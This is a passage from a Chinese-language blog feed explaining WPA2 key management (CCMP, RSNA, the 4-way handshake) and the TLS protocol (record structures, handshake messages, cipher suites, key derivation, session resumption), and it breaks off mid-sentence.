Header</strong><br>构建8-octet CCMP 头部,这个头部由Key ID和PN构成,PN又被分成6个字段。</p><p><strong>CCM处理</strong><br>使用Temporal Key, AAD, Nonce, 和MPDU data 作为CCM算法输入,生成8个字节的MIC和加密的MSDU。</p><h1 id="RSNA密钥管理"><a href="#RSNA密钥管理" class="headerlink" title="RSNA密钥管理"></a>RSNA密钥管理</h1><p>强健安全网络关联(Robust Security Network Association)用于管理不同STA与AP间的密钥</p><ul><li>PTK(Pairwise transient keys)<br>用于加密不公开的密钥对(1对1)</li><li>GTK(Group temporal key)<br>公开的AP与STA间密钥(多对1)</li></ul><p><img src="RSNA%E5%AF%86%E9%92%A5%E5%B1%82%E6%AC%A1.png" alt=""><br>我们重点考察PTK的内容,也就是PMK如何经过四次握手变为PTK,而一个PTK可以拆分为一套具体使用的密钥,如下图所示。<br><img src="RSNA%E5%AF%86%E9%92%A5%E5%AF%BC%E5%87%BA.png" alt=""></p><h2 id="4-way-handshake"><a href="#4-way-handshake" class="headerlink" title="4-way handshake"></a>4-way handshake</h2><p>为了保证 PTK 安全性,PTK 通过申请者与认证者传输的参数在本地计算产生,而不是直接传输。参数包括双方随机数、MAC 地址、协商密钥套件和 PMK 等,保证了密钥的实时性和双方共有性。<br>四次握手协议假定两个前提条件必然成立:(1)AS 与 STA 已实现双向认证,同时 AP 合法性已认证,认证成功后 EAP-Success 消息成功触发四次握手过程;(2)AS 已通过安全通道将 PMK 传递给 AP。<br><img src="RSNA4-wayhandshake.png" alt=""></p>]]></content>
<summary type="html">
<h1 id="无线网络术语简介"><a href="#无线网络术语简介" class="headerlink" title="无线网络术语简介"></a>无线网络术语简介</h1><ul>
<li>无线媒介(Wireless Medium)<br>传输无线MAC帧的媒介,主要包
</summary>
<category term="协议" scheme="https://iwannatobehappy.github.io/tags/%E5%8D%8F%E8%AE%AE/"/>
</entry>
<entry>
<title>TLS协议</title>
<link href="https://iwannatobehappy.github.io/2019/12/21/TLS%E5%8D%8F%E8%AE%AE/"/>
<id>https://iwannatobehappy.github.io/2019/12/21/TLS%E5%8D%8F%E8%AE%AE/</id>
<published>2019-12-21T04:48:20.000Z</published>
<updated>2019-12-29T06:30:33.625Z</updated>
<content type="html"><![CDATA[<p>TLS(Transportation Layer Security)是一种传输层协议,他的前身是由Netscape公司设计的SSL(Secure Socket Layer),用于web的安全传输。后被IETF规范化为TLS。<br>TLS共由5个子协议组成,分别为<strong>Handshake protocol</strong>、<strong>ChangeCipherSpec</strong>、<strong>Alert protocol</strong>、<strong>Application data</strong>和<strong>TLS Record Protocol</strong>。他们的关系如下图所示:<br><img src="%E5%88%86%E5%B1%82%E7%BB%93%E6%9E%84.png" alt=""></p><h1 id="TLS-Record-Protocol"><a href="#TLS-Record-Protocol" class="headerlink" title="TLS Record Protocol"></a>TLS Record Protocol</h1><p>TLS记录协议基于由<strong>握手协议</strong>协商确定的安全参数对应用数据传输提供<strong>保密性</strong>和<strong>完整性</strong>保护。</p><h2 id="功能目标"><a href="#功能目标" class="headerlink" title="功能目标"></a>功能目标</h2><ul><li>消息传输<br>记录协议传输由上层协议(如handshake protocol)提交给它的数据缓冲区,如果缓冲区超过长度限制(2^14),则需要分片。属于<strong>同一协议</strong>的小缓冲区也可以组合成单个记录。</li><li>加密及完整性验证</li><li>压缩<br>设计上,加密前应压缩以提高效率,实践中基本没有压缩……</li><li>拓展性</li></ul><h2 id="封装过程"><a href="#封装过程" class="headerlink" title="封装过程"></a>封装过程</h2><p>分装总流程分为分片、压缩、加密与消息认证。</p><h3 id="分片"><a href="#分片" class="headerlink" title="分片"></a>分片</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//分片结构</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span>{</span></span><br><span class="line"> ContentType type;<span class="comment">//1 byte</span></span><br><span class="line"> ProtocolVersion version;<span class="comment">//1 byte major,1 byte minor</span></span><br><span class="line"> uint16 length;<span class="comment">//2 bytes</span></span><br><span class="line">opaque fragment[TLSPlaintext.length];<span class="comment">//明文数据分片</span></span><br><span class="line">}TLSPlaintext;</span><br><span class="line"></span><br><span class="line"><span class="comment">//ContentType显示了分片所属协议</span></span><br><span class="line"><span class="keyword">enum</span>{</span><br><span class="line"> change_cipher_spec(<span class="number">20</span>),</span><br><span class="line"> alert(<span class="number">21</span>),</span><br><span class="line"> handshake(<span class="number">22</span>),</span><br><span class="line"> application_data(<span class="number">23</span>),</span><br><span class="line"> (<span class="number">255</span>)</span><br><span class="line">} ContentType</span><br><span class="line"></span><br><span class="line"><span class="comment">//ProtocolVersion显示了版本号,其可能的数值如下表</span></span><br><span class="line"><span class="comment">//Versionvalues Dec Hex</span></span><br><span class="line"><span class="comment">//SSL3.0 3,0 0x0300</span></span><br><span class="line"><span class="comment">//TLS1.0 3,1 0x0301</span></span><br><span class="line"><span class="comment">//TLS1.1 3,2 0x0302</span></span><br><span class="line"><span class="comment">//TLS1.2 3,3 0x0303</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> {</span></span><br><span class="line"> uint8 major;</span><br><span class="line"> uint8 minor; </span><br><span class="line">} ProtocolVersion;</span><br></pre></td></tr></table></figure><h3 id="压缩"><a href="#压缩" class="headerlink" title="压缩"></a>压缩</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//压缩后分片结构</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span>{</span></span><br><span class="line"> ContentType type;<span class="comment">//1 byte</span></span><br><span class="line"> ProtocolVersion version;<span class="comment">//1 byte major,1 byte minor</span></span><br><span class="line"> uint16 length;<span class="comment">//2 bytes</span></span><br><span class="line">opaque fragment[TLSCompressed.length];<span class="comment">//压缩数据分片</span></span><br><span class="line">}TLSPlaintext;</span><br></pre></td></tr></table></figure><h3 id="安全处理"><a href="#安全处理" class="headerlink" title="安全处理"></a>安全处理</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span>{</span></span><br><span class="line"> ContentTypetype;</span><br><span class="line"> ProtocolVersionversion;</span><br><span class="line"> uint16 length; </span><br><span class="line"> select </span><br><span class="line"> (SecurityParameters.cipher_type) { </span><br><span class="line"> <span class="keyword">case</span> stream: GenericStreamCipher; </span><br><span class="line"> <span class="keyword">case</span> block: GenericBlockCipher; </span><br><span class="line"> <span class="keyword">case</span> aead: GenericAEADCipher; </span><br><span class="line"> } fragment; </span><br><span class="line">} TLSCiphertext;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> {</span> </span><br><span class="line"> opaque IV[SecurityParameters.record_iv_length];<span class="comment">//16bytes 初始化向量</span></span><br><span class="line"> block-ciphered <span class="class"><span class="keyword">struct</span> {</span></span><br><span class="line"> opaque content[TLSCompressed.length]; <span class="comment">//压缩后的数据分片</span></span><br><span class="line"> opaque MAC[SecurityParameters.mac_length];<span class="comment">//消息认证码</span></span><br><span class="line"> uint8 padding[GenericBlockCipher.padding_length]; <span class="comment">//填充</span></span><br><span class="line"> uint8 padding_length;<span class="comment">//1byte 填充长度</span></span><br><span class="line"> };<span class="comment">//密文</span></span><br><span class="line">} GenericBlockCipher;</span><br></pre></td></tr></table></figure><h1 id="TLS-Handshake-Protocol"><a href="#TLS-Handshake-Protocol" class="headerlink" title="TLS Handshake Protocol"></a>TLS Handshake Protocol</h1><p>TLS握手协议协商记录层的安全参数,包括<strong>密码套件</strong>、<strong>Pre master secret</strong>和<strong>身份认证</strong></p><h2 id="交换流程"><a href="#交换流程" class="headerlink" title="交换流程"></a>交换流程</h2><p>握手流程如图所示,其中星号代表可选项,方括号表示加密内容,之后会具体解释转换的内容。<br><img src="handshake%E6%B5%81%E7%A8%8B.png" alt=""></p><h2 id="封装过程-1"><a href="#封装过程-1" class="headerlink" title="封装过程"></a>封装过程</h2><p>总体封装过程如图所示,handshake部分前有record层的头部信息包裹。<br><img src="handshake%E5%B0%81%E8%A3%85%E5%BD%A2%E5%BC%8F.png" alt=""></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> {</span></span><br><span class="line"> HandshakeType msg_type; <span class="comment">/* handshake type */</span></span><br><span class="line"> uint24 length; <span class="comment">/* bytes in message */</span> </span><br><span class="line"> select (HandshakeType) { </span><br><span class="line"> <span class="keyword">case</span> hello_request: HelloRequest; </span><br><span class="line"> <span class="keyword">case</span> client_hello: ClientHello; </span><br><span class="line"> <span class="keyword">case</span> server_hello: ServerHello; </span><br><span class="line"> <span class="keyword">case</span> certificate: Certificate; </span><br><span class="line"> <span class="keyword">case</span> server_key_exchange: ServerKeyExchange; </span><br><span class="line"> <span class="keyword">case</span> certificate_request: CertificateRequest;</span><br><span class="line"> <span class="keyword">case</span> server_hello_done: ServerHelloDone; </span><br><span class="line"> <span class="keyword">case</span> certificate_verify: CertificateVerify; </span><br><span class="line"> <span class="keyword">case</span> client_key_exchange: ClientKeyExchange; </span><br><span class="line"> <span class="keyword">case</span> finished: Finished; </span><br><span class="line"> } body; </span><br><span class="line">} Handshake;</span><br><span class="line"></span><br><span class="line"><span class="keyword">enum</span> { </span><br><span class="line"> hello_request(<span class="number">0</span>), </span><br><span class="line"> client_hello(<span class="number">1</span>), </span><br><span class="line"> server_hello(<span class="number">2</span>), </span><br><span class="line"> certificate(<span class="number">11</span>), </span><br><span class="line"> server_key_exchange(<span class="number">12</span>), </span><br><span class="line"> certificate_request(<span class="number">13</span>), </span><br><span class="line"> server_hello_done(<span class="number">14</span>), </span><br><span class="line"> certificate_verify(<span class="number">15</span>), </span><br><span class="line"> client_key_exchange(<span class="number">16</span>), </span><br><span class="line"> finished(<span class="number">20</span>), </span><br><span class="line"> (<span class="number">255</span>) </span><br><span class="line">} HandshakeType</span><br></pre></td></tr></table></figure><p>下面介绍body内部结构</p><h3 id="HelloRequest"><a href="#HelloRequest" class="headerlink" title="HelloRequest"></a>HelloRequest</h3><p>HelloRequest是一个简单的通知,告诉client应该重新开始一个协商过程。作为响应,client应该在合适的时候发送 ClientHello消息。如果client当前正在协商一个会话,则该消息会被忽略<br>当HandshakeType为HelloRequest时,消息体是<strong>空</strong>的。也就是说,Handshake只占4个字节。</p><h3 id="ClientHello"><a href="#ClientHello" class="headerlink" title="ClientHello;"></a>ClientHello;</h3><p>在一次新的握手流程中,ClientHello消息总是第一条消息。ClientHello消息将客户端支持的功能和首选项发送给服务器。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span>{</span> </span><br><span class="line"> ProtocolVersion client_version; </span><br><span class="line"> Random <span class="built_in">random</span>; </span><br><span class="line"> SessionID session_id; </span><br><span class="line"> CipherSuite cipher_suites<<span class="number">2.</span><span class="number">.2</span>^<span class="number">16</span><span class="number">-2</span>>; </span><br><span class="line"> CompressionMethod compression_methods<<span class="number">1.</span><span class="number">.2</span>^<span class="number">8</span><span class="number">-1</span>>; </span><br><span class="line"> select (extensions_present) { </span><br><span class="line"> <span class="keyword">case</span> <span class="literal">false</span>: </span><br><span class="line"> <span class="class"><span class="keyword">struct</span>{</span>}; </span><br><span class="line"> <span class="keyword">case</span> <span class="literal">true</span>: </span><br><span class="line"> Extension extensions<<span class="number">0.</span><span class="number">.2</span>^<span class="number">16</span><span class="number">-1</span>>; </span><br><span class="line"> }; </span><br><span class="line">} ClientHello; </span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span>{</span> </span><br><span class="line"> uint32 gmt_unix_time; </span><br><span class="line"> opaque random_bytes[<span class="number">28</span>]; </span><br><span class="line">} Random;</span><br><span class="line"></span><br><span class="line">opaque SessionID<<span class="number">0.</span><span class="number">.32</span>>;</span><br><span class="line"></span><br><span class="line">uint8 CipherSuite[<span class="number">2</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">enum</span>{null(<span class="number">0</span>), (<span class="number">255</span>)} CompressionMethod;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> {</span> </span><br><span class="line"> ExtensionType extension_type; </span><br><span class="line"> opaque extension_data<<span class="number">0.</span><span class="number">.2</span>^<span class="number">16</span><span class="number">-1</span>>; </span><br><span class="line">} Extension; </span><br><span class="line"><span class="keyword">enum</span>{ </span><br><span class="line"> signature_algorithms(<span class="number">13</span>), (<span class="number">65535</span>) </span><br><span class="line">} ExtensionType;</span><br></pre></td></tr></table></figure><p>使用wireshark,我们可以很明确的看到一个handshake数据包示例<br><img src="client_hello%E7%A4%BA%E4%BE%8B.png" alt=""></p><h3 id="ServerHello"><a href="#ServerHello" class="headerlink" title="ServerHello"></a>ServerHello</h3><p>当服务器收到来自客户端的ClientHello消息后,如果它能够找到一套可以接受的算法(即可以就加密算法等取得协商一致),服务器将发送ServerHello消息来响应客户端的ClientHello消息。如果不能找到一套匹配的算法,则服务器将响应handshake failure alert</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span>{</span> </span><br><span class="line"> ProtocolVersionserver_version; </span><br><span class="line"> Random <span class="built_in">random</span>; </span><br><span class="line"> SessionIDsession_id; </span><br><span class="line"> CipherSuite cipher_suite; </span><br><span class="line"> CompressionMethod compression_method; </span><br><span class="line"> select (extensions_present) { </span><br><span class="line"> <span class="keyword">case</span> <span class="literal">false</span>: </span><br><span class="line"> <span class="class"><span class="keyword">struct</span>{</span>}; </span><br><span class="line"> <span class="keyword">case</span> <span class="literal">true</span>: </span><br><span class="line"> Extension extensions<<span class="number">0.</span><span class="number">.2</span>^<span class="number">16</span><span class="number">-1</span>>; </span><br><span class="line"> }; </span><br><span class="line">} ServerHello;</span><br></pre></td></tr></table></figure><p>使用wireshark,我们可以很明确的看到一个handshake数据包示例<br><img src="sever_hello%E7%A4%BA%E4%BE%8B.png" alt=""></p><h3 id="Certificate"><a href="#Certificate" class="headerlink" title="Certificate"></a>Certificate</h3><p>服务器向客户端发送Certificate消息,使得客户端能够认证服务器的身份。<br>匿名通信的情况下,服务器不需要发送 certificate消息。内容也较为简单,只有长度和证书。<br><img src="certificate%E7%A4%BA%E4%BE%8B.png" alt=""></p><h3 id="ServerKeyExchange"><a href="#ServerKeyExchange" class="headerlink" title="ServerKeyExchange"></a>ServerKeyExchange</h3><p>服务器发送serverCertificate消息后,立即发送ServerKeyExchange消息(如果是匿名协商,则在ServerHello后立即发送该消息)。同时,仅当serverCertificate消息包含的信息不足以让客户端交换一个pre master secret 时,才发送 ServerKeyExchange 消息。比如:DHE_DSS 、 DHE_RSA、DH_anon。而对于密钥交换算法RSA、 DH_DSS 、 DH_RSA , 如果发送 ServerKeyExchange消息则是非法。<br>内容较为多样,只给出一种示例,具体情况具体分析。<br><img src="SeverKeyExchange%E7%A4%BA%E4%BE%8B.png" alt=""></p><h3 id="CertificateRequest"><a href="#CertificateRequest" class="headerlink" title="CertificateRequest"></a>CertificateRequest</h3><p>服务器使用CertificateRequest消息请求对客户端进行身份验证,其中包含了服务器可以接受的证书类型列表,可接受的CA的列表。结构记不住也就算了。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> {</span> </span><br><span class="line"> ClientCertificateType certificate_types<<span class="number">1.</span><span class="number">.2</span>^<span class="number">8</span><span class="number">-1</span>>;</span><br><span class="line"> DistinguishedName certificate_authorities<<span class="number">0.</span><span class="number">.2</span>^<span class="number">16</span><span class="number">-1</span>>; </span><br><span class="line">} CertificateRequest;</span><br></pre></td></tr></table></figure><h3 id="ServerHelloDone"><a href="#ServerHelloDone" class="headerlink" title="ServerHelloDone"></a>ServerHelloDone</h3><p>服务器发送ServerHelloDone消息来表示ServerHello及相关消息的结束,这些消息用于完成密钥交换,发送该消息后,服务器将等待客户端响应。而客户端收到该消息后,可以继续他的密钥交换阶段。ServerHelloDone消息不包含任何内容。</p><p><strong><em>TLS密码套件</em></strong><br>我们来关注一下握手协议中协商的密码套件内容。<br>TLS涉及到的密码应用有身份认证算法、密钥交换算法、加密算法、MAC算法、PRF和用于Finished消息的散列函数。一套密码套件可以如下表示:<code>TLS_密钥交换算法_认证算法_WITH_对称加密算法_哈希算法</code>,例如:<code>TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256</code><br>所有可用的密码套件IANA(The Internet Assigned Numbers Authority,互联网数字分配机构给出,他们大部分被保留或不安全,常用的安全密码套件只有20多个。</p><h3 id="CertificateVerify"><a href="#CertificateVerify" class="headerlink" title="CertificateVerify"></a>CertificateVerify</h3><p>只有服务器向客户端发送CertificateRequest消息的情况下,客户端才会向服务器发送CertificateVerify消息,以向服务器证明自己的确持有客户端证书的私钥。</p><h3 id="ClientKeyExchange"><a href="#ClientKeyExchange" class="headerlink" title="ClientKeyExchange"></a>ClientKeyExchange</h3><p>如果客户端发送了ClientCertificate消息,ClientKeyExchange消息应该在该消息后立即发送。否则,在客户端收到服务器发送的ServerHelloDone后立即发送该消息。结构随使用密码体系变化而变化。下给出一个示例。值得注意的是,在这个示例中展示了record layer如何对同一协议多个小缓冲区组合成单个记录。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> {</span> </span><br><span class="line"> select (KeyExchangeAlgorithm) { </span><br><span class="line"> <span class="keyword">case</span> rsa: </span><br><span class="line"> EncryptedPreMasterSecret; </span><br><span class="line"> <span class="keyword">case</span> dhe_dss: </span><br><span class="line"> <span class="keyword">case</span> dhe_rsa: </span><br><span class="line"> <span class="keyword">case</span> dh_dss: </span><br><span class="line"> <span class="keyword">case</span> dh_rsa: </span><br><span class="line"> <span class="keyword">case</span> dh_anon: </span><br><span class="line"> ClientDiffieHellmanPublic; </span><br><span class="line"> } exchange_keys; </span><br><span class="line">} ClientKeyExchange;</span><br></pre></td></tr></table></figure><p><img src="clientKeyExchange%E7%A4%BA%E4%BE%8B.png" alt=""></p><h3 id="Finished"><a href="#Finished" class="headerlink" title="Finished"></a>Finished</h3><p>发送ChangeCipherSpec来激活已经协商好的密码套件之后,客户端发送Finished消息,表明TLS握手协商完成,相当于告诉服务器“握手结束。”<br>由于已经完成了密码规格切换,因此Finished消息是使用切换后的密码套件来发送的,也就是Finished消息不是以明文方式发送的,而是通过下层的记录协议进行<strong>加密发送</strong>。<br>示例如上个图所示哦(第3个就是Finished消息,但他被加密了)<br>Finished消息的内容采用PRF函数生成,其输入包括:master_secret,finished_label,之前所有handshake消息组合的hash值。<br>服务器可以通过对收到的消息进行验证来确认收到的Finished消息是否正确,从而可以确认握手协议是否正常结束,密码套件的切换是否正确(防止降级攻击——攻击者切换弱密码套件)。</p><h1 id="TLS-ChangeCipherSpec-Protocol"><a href="#TLS-ChangeCipherSpec-Protocol" class="headerlink" title="TLS ChangeCipherSpec Protocol"></a>TLS ChangeCipherSpec Protocol</h1><p>此协议用于发送信号给通信对端,表示要切换到新协商确定的密码规格。<br>内容只占一个字节,如图示例<br><img src="ChangeCipherSpec%E7%A4%BA%E4%BE%8B.png" alt=""></p><h1 id="Alert-Protocol"><a href="#Alert-Protocol" class="headerlink" title="Alert Protocol"></a>Alert Protocol</h1><p>此协议用于传递协议运行过程中出现的警报,Alert消息分两类:警告消息(warning)和致命消息(fatal)。致命消息将导致连接被立即中止,并将与这个连接相关的会话(SessionID)作废,以免这个会话被继续用来建立新的连接。警告消息仅仅是通告对方有关报警信息,不会导致连接的关闭。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span>{</span> </span><br><span class="line"> AlertLevellevel; </span><br><span class="line"> AlertDescriptiondescription; <span class="comment">//1byte</span></span><br><span class="line">} Alert;</span><br><span class="line"><span class="keyword">enum</span>{ </span><br><span class="line"> warning(<span class="number">1</span>), fatal(<span class="number">2</span>), (<span class="number">255</span>) </span><br><span class="line">} AlertLevel;</span><br></pre></td></tr></table></figure><h1 id="Application-Data-Protocol"><a href="#Application-Data-Protocol" class="headerlink" title="Application Data Protocol"></a>Application Data Protocol</h1><p>此协议给record层提供application data用于传输<br>传输内容为加密的应用层数据和MAC消息认证码。</p><h1 id="TLS的密钥生成"><a href="#TLS的密钥生成" class="headerlink" title="TLS的密钥生成"></a>TLS的密钥生成</h1><p>TLS中,需要用到三种密钥:用于消息加密的对称密码密钥、CBC模式的初始化向量、用于消息认证码的密钥。服务端使用的密钥与客户端使用的密钥不同,这代表总共有6组密钥需要生成。<br>pre_master_secret生成master_secret,master_secret生成所有密钥。整个密钥生成流程如下图所示:<br><img src="%E5%AF%86%E9%92%A5%E7%94%9F%E6%88%90%E6%B5%81%E7%A8%8B.png" alt=""></p><h2 id="pre-master-secret"><a href="#pre-master-secret" class="headerlink" title="pre master secret"></a>pre master secret</h2><ul><li>如果采用RSA进行密钥协商,client生成一个随机数,在发送ClientKeyExchange消息时用server的公钥加密,发送给server,最后双方均具有这个秘密,即为 pre_master_secret。</li><li>如果采用DH进行密钥协商,Client在发送ClientKeyExchange消息时,将DH的公开值发送给server。server也会发送一个DH公开值给Client。根据DH算法,最终通信双方获得一个相同的秘密值,即为pre_master_secret。</li></ul><h2 id="master-secret"><a href="#master-secret" class="headerlink" title="master secret"></a>master secret</h2><p><code>master_secret=PRF(pre_master_secret,"master secret“,ClientHello.random+ServerHello.random)[0..47];</code></p><ul><li>pre_master_secret:来自于handshake阶段,client和server协商出的一个秘密数</li><li>“master secret”:一个常量标签字符串,用于表示所生成数据的使用目的</li><li>ClientHello.random:客户端随机数</li><li>ServerHello.random:服务器随机数<br>最终生成48字节的master secret</li></ul><h2 id="PRF"><a href="#PRF" class="headerlink" title="PRF"></a>PRF</h2><p>伪随机数生成器PRF的定义如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">PRF(secret, label, seed) = P_<hash>(secret, label + seed)</span><br><span class="line"></span><br><span class="line">P_hash(secret, seed) = HMAC_hash(secret, A(<span class="number">1</span>) + seed) +</span><br><span class="line"> HMAC_hash(secret, A(<span class="number">2</span>) + seed) +</span><br><span class="line"> HMAC_hash(secret, A(<span class="number">3</span>) + seed) + ...</span><br><span class="line"></span><br><span class="line">A(<span class="number">0</span>) = seed</span><br><span class="line">A(i) = HMAC_hash(secret, A(i<span class="number">-1</span>))</span><br></pre></td></tr></table></figure><p>P_hash是一个数据扩展函数,使用一个hash函数把一个秘密数(secret)和种子(seed)扩展成任意长度的输出。如果需要,P_hash可以迭代足够多次,从而产生足够数量的数据。 比如,如果P_SHA256用于产生80字节数据,则需要迭代3次(直至A(3)),产生96字节输出数据;最后一次迭代生成数据的最后16个字节是多余的,将被丢弃,而保留80字节数据。</p><h2 id="key-block"><a href="#key-block" class="headerlink" title="key block"></a>key block</h2><p>最终通信双方产生相同的master secret,且进一步产生相同的keying material,通过相同顺序的切割,最后得到一致的6个密钥。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">key_block= PRF(SecurityParameters.master_secret,</span><br><span class="line"> <span class="string">"key expansion"</span>,</span><br><span class="line"> SecurityParameters.server_random+</span><br><span class="line"> SecurityParameters.client_random);</span><br></pre></td></tr></table></figure><h1 id="TLS会话恢复"><a href="#TLS会话恢复" class="headerlink" title="TLS会话恢复"></a>TLS会话恢复</h1><h2 id="被遗弃的Session-ID机制"><a href="#被遗弃的Session-ID机制" class="headerlink" title="被遗弃的Session ID机制"></a>被遗弃的Session ID机制</h2><p>在ClientHello与ServerHello中,都存在着SessionID字段,其作用就在于恢复一段会话。恢复流程如下:</p><ul><li>ClientHello.SessionID=NULL<ul><li>ServerHello.SessionID=NULL:表示将来没有重用该会话信息的意愿</li><li>ServerHello.SessionID=Random():标识当前会话,客户端保存SessionID及与该会话相关的信息,之后走完握手流程。</li></ul></li><li>ClientHello.SessionID=SessionID<ul><li>ServerHello.SessionID=NULL:表示不匹配或没有重用该会话信息的意愿,之后走完握手流程。</li><li>ServerHello.SessionID=SessionID:匹配成功,然后,客户端和服务器均必须发送ChangeCipherSpec消息且直接继续发送 Finished消息。<br><img src="SessionID%E6%B5%81%E7%A8%8B.png" alt=""></li></ul></li></ul><p>问题在于,为每一个客户端创建和维护一个session cache需要大量存储空间;多个服务器之间共享session cache也是个难题。</p><h2 id="Session-Ticket机制"><a href="#Session-Ticket机制" class="headerlink" title="Session Ticket机制"></a>Session Ticket机制</h2><p>ticket指的是一个由服务器创建和使用的且受密码学保护的数据结构,服务器使用ticket来重建与特定会话相关的状态。由<strong>客户端</strong>存储,服务器负责解密验证从而恢复会话</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span>{</span> </span><br><span class="line"> opaque key_name[<span class="number">16</span>]; </span><br><span class="line"> opaque iv[<span class="number">16</span>]; </span><br><span class="line"> opaque encrypted_state<<span class="number">0.</span><span class="number">.2</span>^<span class="number">16</span><span class="number">-1</span>>; </span><br><span class="line"> opaque mac[<span class="number">32</span>]; </span><br><span class="line">} ticket;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span>{</span> </span><br><span class="line"> ProtocolVersion protocol_version; </span><br><span class="line"> CipherSuite cipher_suite; </span><br><span class="line"> CompressionMethod compression_method; </span><br><span class="line"> opaque master_secret[<span class="number">48</span>]; </span><br><span class="line"> ClientIdentity client_identity; </span><br><span class="line"> uint32 timestamp; </span><br><span class="line">} StatePlaintext;</span><br></pre></td></tr></table></figure><p>当服务器与客户端支持Session Ticket机制时,handshake的extension中会包含SessionTicket,初始情况下len为0。<br>服务器发送New Session Ticket数据包,传输Ticket。(Handshake 